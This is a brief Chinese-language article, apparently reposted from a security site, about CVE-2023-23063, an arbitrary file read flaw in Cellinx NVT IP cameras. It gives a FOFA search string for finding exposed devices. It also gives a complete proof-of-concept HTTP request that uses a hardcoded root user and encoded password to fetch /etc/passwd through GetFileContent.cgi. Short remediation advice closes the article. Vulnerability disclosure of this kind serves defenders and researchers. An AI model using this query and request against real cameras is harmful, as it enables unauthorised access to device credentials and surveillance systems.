本文主要是介绍Cellinx NVT 摄像机 GetFileContent.cgi任意文件读取漏洞 （CVE-2023-23063），希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
0x01 产品简介
Cellinx NVT IP PTZ是韩国Cellinx公司的一个摄像机设备。
0x02 漏洞概述
Cellinx NVT v1.0.6.002b版本存在安全漏洞，该漏洞源于存在本地文件泄露漏洞，攻击者可读取系统密码等敏感信息。
0x03 复现环境
FOFA：body="local/NVT-string.js"
0x04 漏洞复现
PoC
GET /cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd&_=1672577046605 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
0x05 修复建议
对相关文件中传入的参数进行限制。
通过防火墙等安全设备设置访问策略，设置白名单访问。
如非必要，禁止公网访问该系统。
这篇关于Cellinx NVT 摄像机 GetFileContent.cgi任意文件读取漏洞 （CVE-2023-23063）的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
